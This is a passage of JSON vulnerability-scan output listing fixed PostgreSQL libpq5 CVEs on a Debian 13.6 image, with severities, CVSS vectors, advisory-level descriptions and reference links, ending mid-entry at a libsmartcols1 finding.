"https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-16239.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-16239", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-16239", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-16239/" ], "PublishedDate": "2026-08-13T13:17:46.52Z", "LastModifiedDate": "2026-08-29T23:17:19.52Z" }, { "VulnerabilityID": "CVE-2026-18408", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-18408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:478bada63e5ab6ddb1d336eee37075b4bb741477d44b89e58d4571582b50a7a4", "Title": "postgresql: PostgreSQL: Arbitrary code execution via untrusted data inclusion in pg_dump", "Description": "Untrusted data inclusion in pg_dump in PostgreSQL allows a malicious superuser of the origin server to inject arbitrary code for restore-time execution as the client operating system account running psql to restore the dump, via psql \\restrict meta-command input expansion. The fix for CVE-2025-8714 introduced \\restrict and \\unrestrict to block this attack, but \\unrestrict itself was sufficient for an attack. pg_dumpall is also affected. pg_restore is affected when used to generate a plain-format dump. Non-core use of \\restrict would be affected, but we've not identified non-core use. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-829" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-18408", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-18408.html", "https://linux.oracle.com/errata/ELSA-2026-72274.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-18408", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-18408", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-18408/" ], "PublishedDate": "2026-08-13T13:17:48.127Z", "LastModifiedDate": "2026-08-29T23:17:20.843Z" }, { "VulnerabilityID": "CVE-2026-19385", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19385", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a943601d413d67963e6726f0314b50d1f471742690dd4268ab7063b9a2c394e5", "Title": "postgresql: PostgreSQL pg_dump: Arbitrary code execution via crafted transform lists", "Description": "Heap buffer overflow in PostgreSQL pg_dump of long function transform lists allows an object creator to execute arbitrary code as the operating system user running pg_dump, via a crafted transform list. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-19385", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-19385.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19385", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-19385", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-19385/" ], "PublishedDate": "2026-08-13T13:17:48.74Z", "LastModifiedDate": "2026-08-29T23:17:21.28Z" }, { "VulnerabilityID": "CVE-2026-6464", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6464", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:350a2b65b74562d885e15055d28c81dc53770eeeb6b73f664e583330ea542c7e", "Title": "postgresql: PostgreSQL psql: Arbitrary command execution via untrusted data in COPY FROM STDIN", "Description": "Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection. If the \"COPY FROM STDIN\" or \"\\copy FROM STDIN\" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands. \"COPY FROM\" with a filename is unaffected. The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows. Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don't control. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-829" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-6464", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-6464.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6464", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6464", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-6464/" ], "PublishedDate": "2026-08-13T13:19:16.347Z", "LastModifiedDate": "2026-08-29T23:17:21.723Z" }, { "VulnerabilityID": "CVE-2026-6471", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6471", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef254f9a2738b624b9de1df1bd5eb1ab9349d9de73e3fd675d9d64563357a202", "Title": "postgresql: PostgreSQL: Arbitrary code execution via logical decoding plugin", "Description": "Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-6471", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-6471.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6471", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6471", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-6471/" ], "PublishedDate": "2026-08-13T13:19:16.747Z", "LastModifiedDate": "2026-08-29T23:17:23.01Z" }, { "VulnerabilityID": "CVE-2026-6473", "VendorIDs": [ "DSA-6270-1", "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6473", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83f8e1990ba49ad306b02502ac492e0621ad89112ab47de99fe3d8475b6d51ab", "Title": "postgresql: integer overflow can cause an undersized allocation and an out-of-bounds write", "Description": "Integer wraparound in multiple PostgreSQL server features allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds. This may execute arbitrary code as the operating system user running the database. In applications that pass gigabyte-scale user inputs to the relevant database functions, the application input provider may achieve a segmentation fault. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22878", "https://access.redhat.com/errata/RHSA-2026:26181", "https://access.redhat.com/errata/RHSA-2026:26203", "https://access.redhat.com/errata/RHSA-2026:26204", "https://access.redhat.com/errata/RHSA-2026:26524", "https://access.redhat.com/errata/RHSA-2026:26525", "https://access.redhat.com/errata/RHSA-2026:26561", "https://access.redhat.com/errata/RHSA-2026:27718", "https://access.redhat.com/errata/RHSA-2026:27738", "https://access.redhat.com/errata/RHSA-2026:27741", "https://access.redhat.com/errata/RHSA-2026:27742", "https://access.redhat.com/errata/RHSA-2026:27743", "https://access.redhat.com/errata/RHSA-2026:28037", "https://access.redhat.com/errata/RHSA-2026:28143", "https://access.redhat.com/errata/RHSA-2026:28208", "https://access.redhat.com/errata/RHSA-2026:28999", "https://access.redhat.com/errata/RHSA-2026:29212", "https://access.redhat.com/errata/RHSA-2026:29815", "https://access.redhat.com/errata/RHSA-2026:29904", "https://access.redhat.com/errata/RHSA-2026:29953", "https://access.redhat.com/errata/RHSA-2026:32983", "https://access.redhat.com/errata/RHSA-2026:32994", "https://access.redhat.com/errata/RHSA-2026:33441", "https://access.redhat.com/errata/RHSA-2026:33497", "https://access.redhat.com/errata/RHSA-2026:34043", "https://access.redhat.com/errata/RHSA-2026:34362", "https://access.redhat.com/errata/RHSA-2026:34363", "https://access.redhat.com/errata/RHSA-2026:35880", "https://access.redhat.com/errata/RHSA-2026:42555", "https://access.redhat.com/errata/RHSA-2026:44420", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:44568", "https://access.redhat.com/errata/RHSA-2026:49521", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/security/cve/CVE-2026-6473", "https://bugzilla.redhat.com/2477439", "https://bugzilla.redhat.com/2477442", "https://bugzilla.redhat.com/2477447", "https://bugzilla.redhat.com/2477448", "https://bugzilla.redhat.com/show_bug.cgi?id=2477439", "https://bugzilla.redhat.com/show_bug.cgi?id=2477442", "https://bugzilla.redhat.com/show_bug.cgi?id=2477447", "https://bugzilla.redhat.com/show_bug.cgi?id=2477448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6473", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6475", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6477", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6478", "https://errata.almalinux.org/9/ALSA-2026-28037.html", "https://errata.rockylinux.org/RLSA-2026:28037", "https://linux.oracle.com/cve/CVE-2026-6473.html", "https://linux.oracle.com/errata/ELSA-2026-28999.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6473", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6473.json", "https://ubuntu.com/security/notices/USN-8294-1", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6473", "https://www.postgresql.org/about/news/postgresql-184-1710-1614-1518-and-1423-released-3297/", "https://www.postgresql.org/support/security/CVE-2026-6473/" ], "PublishedDate": "2026-05-14T14:16:24.883Z", "LastModifiedDate": "2026-08-25T13:19:27.7Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "780dbec0869ab8e" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40684663fb30f5de084f77c91e72e97f23b160acea3f684da9123a706c8d7966", "Title": 